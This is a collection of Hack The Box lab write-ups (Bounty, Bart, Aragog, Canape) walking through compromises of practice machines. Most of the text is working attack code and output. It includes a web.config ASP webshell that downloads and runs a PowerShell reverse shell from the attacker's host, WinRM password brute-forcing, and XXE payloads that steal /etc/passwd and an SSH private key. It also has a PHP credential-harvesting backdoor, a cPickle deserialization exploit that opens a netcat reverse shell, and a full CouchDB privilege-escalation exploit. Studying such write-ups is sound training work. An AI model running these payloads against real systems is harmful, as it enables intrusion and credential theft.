george@kali:~/htb/bounty$ dirb http://10.10.10.93/ /usr/share/wordlists/dirb/common.txt -r -X .aspx
+ http://10.10.10.93/transfer.aspx (CODE:200|SIZE:974)

It looks like we might have now found the upload page:

http://10.10.10.93/transfer.aspx

Let’s now try uploading test.aspx:

It looks like we’re going to have to either try fuzzing the upload, or enumerate further.

Since fuzzing is never fun, I decided to try and find some more IIS-related file extensions.

Fortunately, I just had to google “microsoft iis file extensions” to find this forum page, which says the following:

We are serving up files for our own application for download from web servers, including IIS. One such file has the .config extension. Turns out that IIS won’t serve this because it thinks it’s a config file of its own.

Let’s now try uploading a .config file, to see if that’s allowed:

It looks like we can successfully upload files! After doing some research on .config files, I came across this article which outlines an easy attack that we can perform (provided that the server executes the file). We’ll do something similar to the technique used in PHP reverse shells, in that we’ll upload the web.config asp file, and the server should interpret whatever we write and show us the output.

We can perform an initial test by uploading a script found on that same website, which should simply add 3 and output the result:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> 
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
-->3<!--
-->

Now that our POC command execution has worked, let’s make our web.config file more useful.

My final payload has been bodged together from different scripts found online, with the majority of the “good” code taken from here. So, the webshell looks as follows:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> 
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.20/puckieshell443.ps1')")
%>

then serve the payload

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.93 - - [15/Mar/2019 10:06:45] "GET /puckieshell443.ps1 HTTP/1.1" 200 -

then execute the uploaded payload with

c:\users\jacco\curl http://10.10.10.93/uploadedfiles/web.config

and catch the shell

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.93: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.93] 49158: NO_DATA
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
bounty\merlin

Now with shell, I can grab user.txt. Strangely, it’s not present when I look for it:

PS C:\users\merlin\desktop> ls
PS C:\users\merlin\desktop>

It turns out that the file is there, it’s just hidden. If I re-run Get-ChildItem (or gci or ls) with the -Force flag, it shows up:

PS C:\users\merlin\desktop> gci -force


    Directory: C:\users\merlin\desktop


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a-hs         5/30/2018  12:22 AM        282 desktop.ini
-a-h-         5/30/2018  11:32 PM         32 user.txt

PS C:\users\merlin\desktop> cat user.txt
e29*****a2f

Escalation Method 1: Lonely Potato

I’ll grab a copy of the the compiled lonelypotato binary and upload it to target, along with a bat script that will start another Nishang shell:

1st serve the payloads

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.93 - - [15/Mar/2019 14:58:07] "GET /lp.exe HTTP/1.1" 200 -
10.10.10.93 - - [15/Mar/2019 15:27:58] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

then run

PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('http://10.10.14.20/lp.exe', 'C:\users\merlin\appdata\local\temp\lp.exe')
PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('http://10.10.14.20/rev.bat', 'C:\users\merlin\appdata\local\temp\rev.bat')

PS C:\users\merlin\appdata\local\temp> type rev.bat
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.20/Invoke-PowerShellTcp.ps1')

And Now run below, and get a shell:

PS C:\users\merlin\appdata\local\temp> C:\users\merlin\appdata\local\temp\lp.exe * C:\users\merlin\appdata\local\temp\rev.bat
CreateIlok: 0 0
CreateDoc: 0 0
connect sock
start RPC  connection
COM -> bytes received: 116
RPC -> bytes Sent: 116
RPC -> bytes received: 84
COM -> bytes sent: 84
COM -> bytes received: 24
RPC -> bytes Sent: 24
RPC -> bytes received: 136
COM -> bytes sent: 136
COM -> bytes received: 135
RPC -> bytes Sent: 135
RPC -> bytes received: 216
COM -> bytes sent: 216
COM -> bytes received: 158
RPC -> bytes Sent: 158
RPC -> bytes received: 56
COM -> bytes sent: 56
CoGet: -2147022986 0
[+] authresult != -1
[+] Elevated Token tye:2
[+] DuplicateTokenEx :1  0
[+] Duped Token type:1
[+] Running C:\users\merlin\appdata\local\temp\rev.bat sessionId 1
[+] CreateProcessWithTokenW OK
Auth result: 0
Return code: 0
Last error: 0
C:\Users\jacco>nc -lvp 53
listening on [any] 53 ...
10.10.10.93: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.93] 49183: NO_DATA
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system
PS C:\users\administrator\desktop> type root.txt
c83*****5ea

Author : Jacco Straathof

HTB – Bart

I learned a new WinRM trick in the process.

Enumeration

Start with a quick nmap scan and also a full scan once the quick one is completed.

root@kali:~/htb/bart# nmap -sV 10.10.10.81

Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for 10.10.10.81
Host is up (0.071s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

root@kali:~/htb/bart# nmap -p- 10.10.10.81 -T4

Starting Nmap 7.60 ( https://nmap.org ) 
Nmap scan report for 10.10.10.81
Host is up (0.073s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 98.49 seconds

Only two ports to work with, port 5985 is for WinRM so hopefully we’ll be able to leverage that if we find some credentials.

If we check out the web server in a browser we get a 302 response, however we can see the virtual host name in the Location header.

302

If we add an entry in our /etc/hosts file for that domain name and IP we are able to browse the site.

Scrolling down on the page we find some possible users to target.

team

Even more interesting is if we check the source code of the page we see another user named Harvey, who’s been commented out.

source

The user’s email addresses in the mailto field is probably going to reflect their username on the system if it exists. So we have:

s.brown@bart.local
d.simmons@bart.htb
r.hilton@bart.htb
h.potter@bart.htb

To help brute force WinRM we can use the metasploit module auxiliary/scanner/winrm/winrm_login.

We’ll start with h.potter since he’s listed as a developer, so there’s a good chance he has credentials on the box.

msf > use auxiliary/scanner/winrm/winrm_login
msf auxiliary(scanner/winrm/winrm_login) > show options

Module options (auxiliary/scanner/winrm/winrm_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DOMAIN            WORKSTATION      yes       The domain to use for Windows authentification
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             5985             yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   URI               /wsman           yes       The URI of the WinRM service
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
   VHOST                              no        HTTP server virtual host

msf auxiliary(scanner/winrm/winrm_login) > set RHOSTS 10.10.10.81
RHOSTS => 10.10.10.81
msf auxiliary(scanner/winrm/winrm_login) > set USERNAME h.potter
USERNAME => h.potter

msf auxiliary(scanner/winrm/winrm_login) > set PASS_FILE /usr/share/wordlists/fasttrack.txt
PASS_FILE => /usr/share/wordlists/fasttrack.txt
 
msf auxiliary(scanner/winrm/winrm_login) > set DOMAIN BART.HTB
DOMAIN => BART.HTB
msf auxiliary(scanner/winrm/winrm_login) > run
~~~
~~~
~~~
[+] 10.10.10.81:5985 - Login Successful: BART.HTB\h.potter:Password1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Yes! We can see that Mr. Potter has some weak credentials. Trying to use another metasploit module leveraging these credentials to get code execution we are unsuccessful and are just presented with 500 errors in response. This is due to metasploit’s winrm modules not currently supporting encryption. By default WinRM requires encryption, unless specifically disabled by the Administrator.

So to aid us we can use the Ruby winrm package.

https://github.com/WinRb/WinRM

We can easily install and configure a script similar to the example shown on the readme.

root@kali:~/htb/bart# gem install -r winrm

Ruby script contents:

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.81:5985/wsman',
  user: 'BART.HTB\h.potter',
  password: 'Password1',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end
root@kali:~/htb/bart# ruby winrm_shell.rb 
PS > whoami
bart\h.potter
PS > hostname
BART

We are in!

Privilege Escalation

There are a lot of things to get wrapped up in and lost for privilege escalation here, but keeping it simple and following a methodology checking simple things first allows us to easily escalate here.

PS > Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

DefaultDomainName DefaultUserName DefaultPassword                 
----------------- --------------- ---------------                 
DESKTOP-7I3S68E   Administrator   3130438f31186fbaf962f407711faddb

And we can see that the Administrator’s credentials were configured in the AutoLogon registry settings.

So now all we have to do is edit our winrm_shell.rb and add in the Administrator credentials in place of h.potter’s.

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.81:5985/wsman',
  user: 'BART.HTB\Administrator',
  password: '3130438f31186fbaf962f407711faddb',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end
root@kali:~/htb/bart# ruby winrm_shell.rb 
PS > whoami
bart\administrator
how2view configured listnener:
C:\Windows\system32>winrm e winrm/config/listener
Listener
Address = *
Transport = HTTP
Port = 5985
Hostname
Enabled = true
URLPrefix = wsman
CertificateThumbprint
ListeningOn = 127.0.0.1, 192.168.178.200, ::1, fe80::5efe:192.168.178.200%14
, fe80::7537:404:1961:4147%12
Tags: hackthebox

HTB – Aragog

Today we are going to solve another CTF Challenge “Aragog”. This VM is also developed by Hack the Box, Aragog is a Retired Lab and there are multiple ways to breach into this VM.

Level: Medium

Task: Find the user.txt and root.txt in the vulnerable Lab.

Let’s Begin!!

As these labs are only available online, therefore, they have a static IP. Aragog Lab has IP: 10.10.10.78.

Now, as always let’s begin our hacking with the port enumeration.

C:\Users\jacco>nmap -sC 10.10.10.78
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 18:27 W. Europe Standard Time
Nmap scan report for 10.10.10.78
Host is up (0.036s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.15
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh
| ssh-hostkey:
| 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
| 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open http
|_http-title: Apache2 Ubuntu Default Page: It works

 

So we try to connect with FTP through anonymous login. Here I found text.txt file in current directory. Then with the help of get command we downloaded text.txt file in our local machine.

C:\Users\jacco>ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
200 Always in UTF8 mode.
User (10.10.10.78:(none)): anonymous
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
test.txt
226 Directory send OK.
ftp: 13 bytes received in 0.00Seconds 13.00Kbytes/sec.
ftp> get test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
ftp: 86 bytes received in 0.00Seconds 86.00Kbytes/sec.
ftp>exit
221 Goodbye.
C:\Users\jacco>type test.txt
<details>
    <subnet_mask>255.255.255.192</subnet_mask>
    <test></test>
</details>

Then we open target IP over web browser but didn’t found any remarkable thing here.

When we found nothing at port 80, then though to use dirbuster for web directory brute-force attack.

Here I found a /host.php file from its result.

When I have explored /host.php in the web browser I found a message “There are 4294967294 possible hosts for” as shown below image. So I search in Google for 4294967294 host which was related to 255.255.255.254 as found in above test.txt file.

It mean we can post test.txt file here with help of burpsuit.

So let’s capture the request and sent the intercepted data into repeater.

As we have predict the test.txt is in XML format so we have tried to validate XXE injection.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM
"php://filter/convert.base64-encode/resource=/var/www/html/hosts.php" >]>

<details>

    <subnet_mask>&xxe;</subnet_mask>

    <test></test>

</details>

hosts.php ( converted from b64)

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$details = simplexml_import_dom($dom);
$mask = $details->subnet_mask;
//echo "\r\nYou have provided subnet $mask\r\n";

$max_bits = '32';
$cidr = mask2cidr($mask);
$bits = $max_bits - $cidr;
$hosts = pow(2,$bits);
echo "\r\nThere are " . ($hosts - 2) . " possible hosts for $mask\r\n\r\n";

function mask2cidr($mask){ 
$long = ip2long($mask); 
$base = ip2long('255.255.255.255'); 
return 32-log(($long ^ $base)+1,2); 
}

?>

Luckily we found this is vulnerable to XXE injection.

Hence now I can simply exploit it for fetching /etc/passwd file with help of following XXE script and then check its response.

Our payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>

<details>

    <subnet_mask>&xxe;</subnet_mask>

    <test></test>

</details>

 

or curl

c:\PENTEST\HTB\aragog>type test.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
c:\PENTEST\HTB\aragog>curl -d @test.txt http://10.10.10.78/hosts.php

There are 4294967294 possible hosts for root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
--snip--
florian:x:1000:1000:florian,,,:/home/florian:/bin/bash
cliff:x:1001:1001::/home/cliff:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:123:130:ftp daemon,,,:/srv/ftp:/bin/false

With the help of /passwd file information we try to get id_rsa through XXE script.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>

<details>

    <subnet_mask>&xxe;</subnet_mask>

    <test></test>

</details>

Yuppiee! We got the ssh private key successfully, that I copied in text file and named as key.

Then assign permission 600 to saved key (id-rsa) and then try to connect with SSH . You can observe that we get login successfully and accessed the TTY shell of victim’s machine, now let’s find the user.txt

PS C:\PENTEST\HTB\aragog> ssh -i .\floriankey.txt florian@10.10.10.78
Last login: Fri Jan 12 13:56:45 2018 from 10.10.14.3
florian@aragog:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos examples.desktop user.txt
florian@aragog:~$ cat user.txt
f43*****359

Inside /var/www/html we saw /dev_wiki and it was good to see that this folder holds wordpress setup and configuration files.

So I simply add host IP: 10.10.10.78 and host name: aragog is our local host file which is present inside /etc.

So we explore aragog/dev_wiki in our web browser and got WordPress home page.

As you can observe inside /blog we found a message to Florian from Cliff where he had express the mess of wordpress restoring in very few minutes.

So with help of Google I found a script pspy32s and download it in victim’s VM inside /tmp and also gave execution permission.

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

cd /tmp
wget http://10.10.14.6/ pspy32s
chmod +x pspy32s

After particular time we realize that there is a cronjob that is frequently deleting the dev_wiki folder & replacing it with the backup folder & a script wp-login.py is ran shortly after that process occurs.

Now let’s manipulate the content of wp-user.php file and place a new php code inside it to enumerate username and password.

backdoor php code added in wp-user.php

<?php
file_put_contents('/var/www/html/login.req', file_get_contents('php://input') . PHP_EOL, FILE_APPEND);
/**
* Fires in the login page header after scripts are enqueued.
*
* @since 2.1.0
*/
do_action ( 'login_form' );
?>

We run some tests & we see that our backdoor works. After some time you see the cleartext login credentials for the administrator account in our log.

florian@aragog:/var/www/html$ cat login.req
pwd=%21KRgYs%28JFO%21%26MTr%29lf&wp-submit=Log+In&testcookie=1&log=Administrator&redirect_to=http%3A%2F%2F127.0.0.1%2Fdev_wiki%2Fwp-admin%2F

This password is encoded by URL, we use Burp decode it, and then we use this password login to root.

florian@aragog:/var/www/html$ su root
Password:!KRgYs(JFO!&MTr)lf
root@aragog:/var/www/html# cat /root/root.txt
9a9*****de6

Author: Jacco Straathof

HTB – Canape

Today we are going to solve another CTF challenge “Canape” which is available online for those who want to increase their skill in penetration testing and black box testing. Canape is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of Canape is 10.10.10.70 so let’s begin with nmap port enumeration.

root@kali:~/htb/canape# nmap -p- -sV 10.10.10.70
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:18 CET
Nmap scan report for 10.10.10.70
Host is up (0.044s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.24 seconds

As port 80 is running http server, we open the target machine’s IP address in our browser and find that it is a fan site for the Simpsons.

We don’t find anything on the webpage, so we run

root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:32 CET
Nmap scan report for 10.10.10.70
Host is up (0.038s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git: 
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.57 seconds

We open the /.git/ directory and find the config file.

When we open the config file, we find a domain name “git.canape.htb”.

Now we have added the domain name of the target machine in /etc/hosts file to access the webpage using IP address as well as domain name.

Now we can clone the local git repository using the following command:

Here we found out a file named “__init__.py” in Simpsons folder as shown in the image.

After download the files, we open “__init__.py” and find that this program might be vulnerable insecure deserialization as it uses a vulnerable function “cPickel.loads(data)”.

Now we create a program to exploit this vulnerability and get reverse shell.

###Canape cPickle Exploit (run nc -nlvp 443 separately.)

#Change host/port to your own ip/desired port.
LHOST = "10.10.14.18"
LPORT = "443"

import requests as rq #For posting request
import cPickle #For generating payload
import hashlib #For generating MD5 hash as id
import os #For creating shell object

#Generate payload:
class shell(object):
    def __reduce__(self):
            return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" % (LHOST, LPORT),))
payload = cPickle.dumps(shell())

#Define post parameters.
character = payload+"S'homer'\n"
quote = "quote"
data = {"character":character,"quote":quote}

#Send payload and check reponse.
resp = rq.post('http://10.10.10.70/submit',data=data)
if "Success" in resp.text: print("Successfully posted.")
else: print("Upload error."); sys.exit()

#Calculate and load response page, which in turn triggers the exploit.
p_id = str(hashlib.md5(character+quote).hexdigest())
print("Executing payload...")
rq.post("http://10.10.10.70/check", data={"id":p_id}).text
root@kali:~/htb/canape/simpsons# python pixploit.py

We setup our listener “netcat” before running the python program

root@kali:~/htb/canape/simpsons# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54668
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
homer:x:1000:1000:homer,,,:/home/homer:/bin/bash

$ netstat -antp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:44732 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN - 
tcp 0 0 127.0.0.1:5984 0.0.0.0:* LISTEN - 
tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:4369 0.0.0.0:* LISTEN - 
tcp 0 125 10.10.10.70:54668 10.10.14.15:443 ESTABLISHED 18876/nc 
tcp 1 0 127.0.0.1:33044 127.0.0.1:5984 CLOSE_WAIT - 
tcp 0 0 10.10.10.70:80 10.10.14.15:35810 ESTABLISHED - 
tcp 1 0 127.0.0.1:33046 127.0.0.1:5984 CLOSE_WAIT 18871/sh 
tcp 0 0 127.0.0.1:49880 127.0.0.1:4369 ESTABLISHED - 
tcp 0 0 127.0.0.1:4369 127.0.0.1:49880 ESTABLISHED - 
tcp6 0 0 :::65535 :::* LISTEN - 
tcp6 0 0 :::4369 :::* LISTEN - 
$
$ curl http://127.0.0.1:5984
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 91 100 91 0 0 27584 0 --:--:-- --:--:-- --:--:-- 45500
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
$ curl http://127.0.0.1:5984/_all_dbs
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 78 0 78 0 0 24848 0 --:--:-- --:--:-- --:--:-- 39000
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Then we create a user with permissions to read the database with following command.

$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:puck' --data-binary '{"type":"user","name":"puck","roles": ["_admin"],"roles": [],"password": "1234567"}'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 167 100 84 100 83 660 652 --:--:-- --:--:-- --:--:-- 656
{"ok":true,"id":"org.couchdb.user:puck","rev":"1-f93cce0747d99984fe3cd26f8193f20e"}
$ curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puck:1234567
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1242 0 1242 0 0 76454 0 --:--:-- --:--:-- --:--:-- 82800
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}}
]}

Or alternatively , couchdb version is vulnerable too (CVE-2017-12635 ‘Apache CouchDB JSON Remote Privilege Escalation Vulnerability’) so I found a publicly available exploit https://www.exploit-db.com/exploits/44498 (to create an user with admin privileges in CouchDB ddbb and… exploit worked!!

root@kali:~/htb# python couchdbprivesc.py
usage: couchdbprivesc.py [-h] [-p PORT] [-u USER] [-P PASSWORD] host
couchdbprivesc.py: error: too few arguments
root@kali:~/htb# cat couchdbprivesc.py 
#!/usr/bin/env python

'''
@author: r4wd3r
@license: MIT License
@contact: r4wd3r@gmail.com
'''

import argparse
import re
import sys
import requests

parser = argparse.ArgumentParser(
description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
' (CVE-2017-12635)')
parser.add_argument('host', help='Host to attack.', type=str)
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
parser.add_argument('-u', '--user', help='Username to create as admin.',
type=str, default='couchara')
parser.add_argument('-P', '--password', help='Password of the created user.',
type=str, default='couchapass')
args = parser.parse_args()

host = args.host
port = args.port
user = args.user
password = args.password

pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
if not pat_ip.match(host):
print "[x] Wrong host. Must be a valid IP address."
sys.exit(1)

print "[+] User to create: " + user
print "[+] Password: " + password
print "[+] Attacking host " + host + " on port " + port

url = 'http://' + host + ':' + port

try:
rtest = requests.get(url, timeout=10)
except requests.exceptions.Timeout:
print "[x] Server is taking too long to answer. Exiting."
sys.exit(1)
except requests.ConnectionError:
print "[x] Unable to connect to the remote host."
sys.exit(1)

# Payload for creating user
cu_url_payload = url + "/_users/org.couchdb.user:" + user
cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'

try:
rcu = requests.put(cu_url_payload, data=cu_data_payload)
except requests.exceptions.HTTPError:
print "[x] ERROR: Unable to create the user on remote host."
sys.exit(1)

if rcu.status_code == 201:
print "[+] User " + user + " with password " + password + " successfully created."
sys.exit(0)
else:
print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host."
